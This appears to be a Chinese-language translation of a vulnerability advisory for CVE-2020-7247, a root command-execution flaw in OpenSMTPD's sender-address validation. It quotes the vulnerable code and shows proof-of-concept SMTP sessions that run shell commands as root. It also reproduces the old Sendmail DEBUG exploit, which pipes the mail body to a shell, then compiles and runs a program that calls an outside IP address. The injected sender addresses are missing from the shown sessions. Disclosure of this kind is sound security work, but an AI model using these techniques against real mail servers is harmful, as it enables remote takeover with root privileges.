CVE-2020-7247:OpenSMTPD安全漏洞

0

研究人员在OpenBSD的邮件服务器OpenSMTPD中发现了一个安全漏洞。该漏洞从2018年5月开始就可以利用了,攻击者利用该漏洞可以以root权限执行任意shell命令:

· 在本地以OpenSMTPD默认配置执行,默认配置会监听loopback接口,并从localhost接收邮件;

· 在本地或者远程以OpenSMTPD未注释的默认配置执行,默认配置会监听所有的接口并接收所有外部邮件。

研究人员开发了一个简单的PoC,并在OpenBSD 6.6和Debian (Bullseye)测试版本进行了测试,研究人员认为其他版本和发布版本也可以被利用。

漏洞分析

研究人员分析发现漏洞的根源在于OpenSMTPD的smtp_mailaddr()函数,该函数负责验证发送者(MAIL FROM)和接收者(RCPT TO)的邮件地址:

------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2234                 return (0);
2235         }
2236 
2237         return (1);
2238 }
------------------------------------------------------------------------------

· 调用valid_domainpart()来验证邮箱地址的域名,该函数只接收IPv4和IPv6地址、字母数字、’.’、’-‘和’_’字符;

· 调用valid_localpart() 来验证邮箱地址的本地部分,该函数只接收字母数字、’.’ 和MAILADDR_ALLOWED字符(RFC 5322的白名单):

  71 #define MAILADDR_ALLOWED        "!#$%&'*/?^`{|}~+-=_"

在MAILADDR_ALLOWED的字符串中,同时位于MAILADDR_ESCAPE的部分之后会被mda_expand_token()转变成为’:’字符:

  72 #define MAILADDR_ESCAPE         "!#$%&'*?`{|}~"

smtp_mailaddr()的白名单和mda_expand_token()的逃逸对OpenSMTPD的安全性都是很基本的,可以防止危险字符串到达执行MDA命令的shell中:

        execle("/bin/sh", "/bin/sh", "-c", mda_command, (char *)NULL,
            mda_environ);

Mail Delivery Agents (MDAs)负责传递邮件到本地接收者,比如OpenSMTPD的默认MDA方法是”mbox”,对应的MDA命令是:

      asprintf(&dispatcher->u.local.command,
            "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

%{user.username} 是现有的本地用户名(接收者地址的本地部分),%{mbox.from}是发送者地址(发送者地址如果不在smtp_mailaddr()的白名单和mda_expand_token()的逃逸部分,就位于攻击者的完全控制之下)。

研究人员在smtp_mailaddr()函数中发现了一个漏洞——(CVE-2020-7247):

------------------------------------------------------------------------------
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191     const char *domain)
2192 {
....
2218         if (!valid_localpart(maddr->user) ||
2219             !valid_domainpart(maddr->domain)) {
....
2229                 if (maddr->domain[0] == '\0') {
2230                         (void)strlcpy(maddr->domain, domain,
2231                             sizeof(maddr->domain));
2232                         return (1);
2233                 }
2234                 return (0);
2235         }
2236 
2237         return (1);
2238 }
------------------------------------------------------------------------------

如果地址的本地部分是无效的(2218行),如果域名的空的(2229行),然后smtp_mailaddr()会自动添加默认域名(2230行)并返回1(2232行),虽然应该返回的是0,因为地址的本地部分应该是无效的。

因此,攻击者可以传递不在MAILADDR_ALLOWED和 MAILADDR_ESCAPE中的危险字符到执行MDA命令的shell。比如,下面的本地SMTP会话就在OpenSMTPD的默认配置下以root执行”sleep 66″:

------------------------------------------------------------------------------
$ nc 127.0.0.1 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [127.0.0.1], pleased to meet you
MAIL FROM:
250 2.0.0 Ok
RCPT TO:250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

How about a nice game of chess?
.
250 2.0.0 e6330998 Message accepted for delivery
QUIT
221 2.0.0 Bye
------------------------------------------------------------------------------

漏洞利用

但是通过发送者地址的本地部分执行任意shell命令的能力是有限的:

· 虽然OpenSMTPD比RFC 5321的限制要少一些,本地部分的最大部分应该不超过64个字符;

· MAILADDR_ESCAPE中的字符就会转成’:’字符。

为了克服这些限制,研究人员从https://spaf.cerias.purdue.edu/tech-reps/823.pdf处获得了灵感,其中通过以shell脚本的形式执行邮箱的主体部分来利用Sendmail的DEBUG漏洞:

------------------------------------------------------------------------------
debug
mail from: rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data

cd /usr/tmp
cat > x14481910.c <<'EOF'
[text of vector program]
EOF
cc -o x14481910 x14481910.c;x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c

.
quit
------------------------------------------------------------------------------

事实上,MDA命令的标准输入是邮件自身:”sed”移除了header,”/bin/sh”执行了body部分。

研究人员不能重用该命令,但研究人员使用”read”来移除N header行,并将N个注释行前加”NOP slide”到邮件的body部分。比如,下面的远程SMTP session以root的形式在OpenSMTP的未注释的默认配置中执行了邮件的body:

------------------------------------------------------------------------------
$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:
250 2.0.0 Ok
RCPT TO:250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye
-----------------------------------------------------------------------------
头像

Focus On The Network Information Security.

作者主页 邮箱 微博 腾讯微博 QQ Twitter Facebook Google+
头像
已有 0 条评论
返回顶部